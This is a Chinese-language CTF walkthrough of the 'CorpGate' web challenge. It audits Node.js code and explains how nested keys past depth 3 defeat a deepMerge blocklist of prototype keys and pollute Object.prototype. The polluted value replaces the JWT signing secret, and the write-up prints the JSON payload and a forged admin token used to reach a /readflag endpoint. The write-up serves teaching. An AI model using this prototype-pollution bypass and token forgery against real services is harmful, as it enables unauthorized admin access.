题目:WEB-2026DASCTF夏季赛-CorpGate
前置知识:有关于js原型链的基础知识可以看看这篇文章:https://www.cnblogs.com/sabliercoder/articles/19174635
,jwt默认了解,下文如有错误,欢迎指出
一、题目描述:
一套全新的企业员工门户系统CorpGat
二、这里给了个源码附件,我们先进行源码审计:
【1】首先看jwt.js文件
function signToken(payload) {
return jwt.sign(payload, config.signingState.active, {
algorithm: config.jwtConfig.algorithm,
expiresIn: config.jwtConfig.expiresIn
});
}
很容易知道config.signingState.active就是jwt加密密钥,因为他这里const jwt = require('jsonwebtoken');引入了nodejs中专门用来处理jwt的库,后面的jwt.sign函数
的参数二就是jwt签名密钥,见下图,它module.exports = { signToken };把将这个函数暴露出去,供其他文件调用,而在auth.js文件的44行他也确实调用了用来签名加密
【2】在配置文件里面查找signingState.active,定位到config.js文件
const signingState = Object.create(null);
signingState.active = jwtConfig.secret;
signingState.version = 1;
signingState.lastRotation = Date.now();
这里把signingState.active赋值给了jwtConfig.secret,这不是重点
接下来是重点:
javascript
function configRefresh() {
var rotation = {};
rotation.source = 'vault';
rotation.timestamp = Date.now();
if (rotation.pending) {
signingState.active = rotation.pending;
signingState.version++;
signingState.lastRotation = Date.now();
return { rotated: true, version: signingState.version };
}
return { rotated: false, version: signingState.version };
}
(1)这里的rotation被赋值为一个对象{},并且signingState.active = rotation.pending;即它具有一个属性pending,很容易联想到如果rotation没有这个属性,就会通过__proto__访问它的原型对象,看看有无pending属性,若有,则直接应用,而rotation={},它的上级对象即object.protyte,这一点在浏览器console中可以简单验证,目前思路就是污染原型链,让rotation.pending为我们自己写的密钥,然后我们通过自己伪造的密钥来修改jwt的role为admin,从而访问受限的/admin路由
(2)这里我的思路是先全局查找configRefresh()和pending,看看有没有什么线索,结果没有,于是随便翻翻,查找文件目录,发现了merge.js,看到文件名,应该就是for循环加merge合并污染了,但下面做了过滤,我们接下来就要绕过过滤
javascript
const BLOCKED_ROOTS = ['__proto__', '__defineGetter__', '__defineSetter__', 'constructor', 'prototype'];
const BLOCKED_KEYS = ['__proto__', '__defineGetter__', '__defineSetter__'];
const MAX_DEPTH = 6;
function isPlainObject(val) {
return typeof val === 'object' && val !== null && !Array.isArray(val);
}
function sanitizeKey(key) { #去点号
return key.replace(/\./g, '');
}
function deepMerge(target, source, depth) {
if (depth === undefined) depth = 0;
if (depth >= MAX_DEPTH) return target;
for (var rawKey in source) {
var key = sanitizeKey(rawKey);
if (key === '') continue; #空key跳过
if (BLOCKED_KEYS.indexOf(key) !== -1) continue;
if (depth < 3 && BLOCKED_ROOTS.indexOf(key) !== -1) continue;
if (isPlainObject(source[rawKey])) {
if (typeof target[key] === 'object' && target[key] !== null) {
deepMerge(target[key], source[rawKey], depth + 1);
} else if (typeof target[key] === 'function') {
deepMerge(target[key], source[rawKey], depth + 1);
}
} else {
target[key] = source[rawKey];
}
}
return target;
}
module.exports = { deepMerge };
关键代码有两处:
javascript
const BLOCKED_ROOTS = ['__proto__', '__defineGetter__', '__defineSetter__', 'constructor', 'prototype'];
const BLOCKED_KEYS = ['__proto__', '__defineGetter__', '__defineSetter__'];
##BLOCKED_ROOTS过滤了5个,BLOCKED_KEYS过滤了3个,他们的差异就是constructor和prototype
javascript
if (BLOCKED_KEYS.indexOf(key) !== -1) continue;
if (depth < 3 && BLOCKED_ROOTS.indexOf(key) !== -1) continue;
解析:
【1】index0f()方法用来过滤BLOCKED_ROOTS以及BLOCKED_KEYS的,起到一个黑名单的作用,即不在黑名单里的就返回-1,也就是不在黑名单的不会执行continue重新进入for循环,会进行后面的merge合并,导致js原型链污染
【2】typeof 操作符:这个操作符会返回一个字符串,表示其操作数的类型
(1)而typeof {}返回的是object,typeof {'sb':11}也返回object,即当前属性值是要是一个对象
(2)对于函数而言
console.log(typeof function(){}); // 返回function
绕过方法:这里其实要结合
这里的key是我们后面要污染pending属性用的payload,这里直接拿出来讲解一下:
javascript
{
"notifications": {
"digest": {
"channels": {
"constructor": {
"prototype": {
"pending": "sb"
}
}
}
}
}
}
(1)对于if (BLOCKED_KEYS.indexOf(key) !== -1) continue;
这是绕不了的,如果 key 是 __proto__ 、 __defineGetter__ 、 __defineSetter__ 之一,直接跳过,也就是不会执行后面的deepmarge函数,导致我们的污染失败
javascript
if (typeof target[key] === 'object' && target[key] !== null) {
deepMerge(target[key], source[rawKey], depth + 1);
(2)对于
javascript
if (depth < 3 && BLOCKED_ROOTS.indexOf(key) !== -1) continue;
只有满足两个条件才会拦截,即depth 小于 3,并且 key 在 BLOCKED_ROOTS 中,才跳过
总结:__proto__永远用不了,但 constructor 和 prototype 在 depth ≥ 3 时可以绕过, 这就是为什么我们要把 payload 嵌套到 notifications.digest.channels (因为后面的服务端他自己的settiings刚好有这个,三层嵌套让我们来绕过)里面------为了凑够 depth=3
经代码审计后面有deepMerge(user.settings, req.body);,即target是user.settings(即服务器默认用户配置),具体解析见下面的实际流程
(3)实际流程:
deepMerge(target, source, depth)
javascript
deepMerge(settings, payload, depth=0)
##先遍历我们payload的key
key="notifications" → settings.notifications 存在且是对象 → 递归
deepMerge(settings.notifications, payload.notifications, depth=1)
key="digest" → settings.notifications.digest 存在且是对象 → 递归
deepMerge(settings.notifications.digest, payload.digest, depth=2)
key="channels" → settings.notifications.digest.channels 存在且是对象 → 递归
deepMerge(settings.channels, payload.channels, depth=3) ← depth=3
key="constructor" → depth≥3,绕过BLOCKED_ROOTS!
→ target["constructor"] = Object(函数) → typeof === 'function' → 递归
deepMerge(Object, {prototype:{pending:"sb"}}, depth=4)
key="prototype" → depth≥3,绕过BLOCKED_ROOTS!
→ Object.prototype 是对象 → 递归
deepMerge(Object.prototype, {pending:"sb"}, depth=5)
key="pending" → 不是对象 → 直接赋值
→ Object.prototype.pending = "sb"
于是就污染成功了
【2】对于deepmerge函数,全局搜索看看,在/api/settings路由下面,这里也是我们等下要通过这个api接口发包用来污染object.prototyte的
deepMerge(user.settings, req.body);
## user.settings (当前默认的设置对象)
req.body (我们POST 过来的 JSON 数据)
结合前面的,deepmerge用来合并res.body到setting中的(即我们的目的是合并没有的属性pending给所有对象的最终对象object.prototype,因为所有对象最终都继承于它)
【3】接下来去请求/api/settings路由
deepMerge(user.settings, req.body);
res.json({ success: true, message: 'Settings updated', settings: user.settings })
user.settings 的结构是:
javascript
{
"theme":"light",
"language":"en",
"notifications":
{
"email":true,
"desktop":true,
"digest":
{
"frequency":"daily",
"time":"09:00",
"channels":
{
"slack":true,
"teams":false}
}
}
}
可以看到刚好嵌套了3层,notifications到digest到digest,刚好满足绕过条件
所以payload:
javascript
{
"notifications": {
"digest": {
"channels": {
"constructor": {
"prototype": {
"pending": "sb"
}
}
}
}
}
}
可以看到污染成功,所有对象都继承了object.prototype的pending属性
【4】接下来要触发 /api/system/healthcheck , configRefresh() 中的 signingState.active = rotation.pending 就会从原型链读到 pending = "sb" ,把签名密钥改成 "sb" ,然后你就可以用 "sb" 伪造 admin JWT从而访问/admin路由
在config.js文件下:
javascript
function configRefresh() {
var rotation = {};
rotation.source = 'vault';
rotation.timestamp = Date.now();
if (rotation.pending) {
signingState.active = rotation.pending;
#当rotation.pending不为空,用来更新密钥,等下就可以用我们的密钥sb来签名了
signingState.version++;
signingState.lastRotation = Date.now();
return { rotated: true, version: signingState.version };
}
return { rotated: false, version: signingState.version };
}
全文搜索 configRefresh,再次定位到user.js文件中
定位到user.js文件,访问/api/system/healthcheck才可以触发configRefresh函数从而触发密钥更换,这也是非常坑
注:jwt密钥替换用sb签名
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVjZTNjNjhkLTgyNzYtNDU4YS05ZjE1LTgyZmIwZWJlMTQ0YiIsInVzZXJuYW1lIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3ODAxMTE0MzIsImV4cCI6MTc4MDE5NzgzMn0.zDFl2-ljmIlTaNYouJXh2jI5ipNNEFpqJ5N0jepDrAI
【5】接下来访问/admin ,服务器生成一个 reference
05f678cea169cb24076d00cc1e51fd3f
在diagnostic.js文件里面:
javascript
router.post('/api/reports/execute', authMiddleware, adminMiddleware, (req, res) => {
var ref = req.body.reference;
if (!ref || typeof ref !== 'string') {
return res.status(400).json({ error: 'Missing report reference' });
}
var entry = config.diagnosticStore[ref];
if (!entry) {
return res.status(404).json({ error: 'Invalid or expired reference' });
}
// Check TTL
if (Date.now() - entry.created > entry.ttl) {
delete config.diagnosticStore[ref];
return res.status(410).json({ error: 'Reference expired' });
}
// Check one-time use
if (entry.consumed) {
return res.status(409).json({ error: 'Reference already consumed' });
}
entry.consumed = true;
var output = 'Diagnostic failed';
try {
output = execSync('/readflag').toString().trim();
} catch (e) {}
res.json({ status: 'completed', report: output });
});
(1) var ref = req.body.reference;
我们通过访问/api/reports/execute,body传参reference来触发execSync('/readflag').toString().trim();执行获得flag
最后,谢谢大家的阅读,如果上文有错误的地方欢迎指出,本人也是刚学,可能也有不足之处